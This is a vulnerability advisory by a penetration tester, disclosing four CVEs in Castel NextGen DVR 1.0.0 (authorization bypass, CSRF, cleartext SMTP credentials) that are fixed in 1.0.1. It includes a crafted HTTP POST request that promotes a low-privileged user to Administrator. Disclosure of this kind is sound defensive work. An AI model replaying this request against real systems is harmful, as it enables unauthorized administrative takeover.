Castel NextGen DVR 1.0.0 Bypass / CSRF / Disclosure

2020.06.06
Credit: Aaron Bishop
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

All issues are associated with *Castel NextGen DVR v1.0.0 *and have been resolved in v1.0.1*.* ------------------------------- *CVE-2020-11679 <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11679>* *Original Disclosure* https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass *Description* A low privileged user can call functionality reserved for an Administrator which promotes a low privileged account to the Administrator role: POST /Administration/Users/Edit/:ID HTTP/1.1 > Host: $RHOST > User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 > Firefox/52.0 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 > Accept-Language: en-US,en;q=0.5 > Accept-Encoding: gzip, deflate > Cookie: $REVIEWER_COOKIES > DNT: 1 > Connection: close > Upgrade-Insecure-Requests: 1 > Content-Type: application/x-www-form-urlencoded > Content-Length: 349 > UserId=:ID&Email=bypass%40test.com > &FirstName=bypass&LastName=bypass&LDAPUser=false > > &Roles%5B0%5D.RoleId=1&Roles%5B0%5D.IsSelected=true&Roles%5B0%5D.IsSelected=false > > &Roles%5B1%5D.RoleId=3&Roles%5B1%5D.IsSelected=true&Roles%5B1%5D.IsSelected=false > > &Roles%5B2%5D.RoleId=5&Roles%5B2%5D.IsSelected=true&Roles%5B2%5D.IsSelected=false > &Locked=false ------------------------------- *CVE-2020-11680 <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11680>* *Original Disclosure* https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass *Description* The application does not perform an authorization check before functionality is performed. Low privileged users are prevented from browsing to pages that perform Administrator functionality using GET, however, functionality can be performed by directly crafting the associated POST request. This can be exploited to modify user accounts, modify the application, etc. Combined with the reported CSRF, CVE-2020-11682, any user of the application can be used to grant Administrator access to a malicious user. ------------------------------- *CVE-2020-11681 <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11681>* *Original Disclosure* https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass *Description* Credentials are returned in cleartext in the source of the SMTP page. If a malicious user compromises an account. or exploits the CSRF to gain access to the application, the associated SMTP server/account could also be compromised. ------------------------------- *CVE-2020-11682 <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11682>* *Original Disclosure* https://www.securitymetrics.com/blog/where-did-request-come-from-cross-site-request-forgery-csrf *Description* The application does not properly prevent CSRF; the __RequestVerificationToken, which is included with state changing requests, is not verified by the application - requests are successful even when the token is removed. AARON BISHOP | Principal Penetration Tester CISSP, OSCP, OSWE [image: SecurityMetrics]


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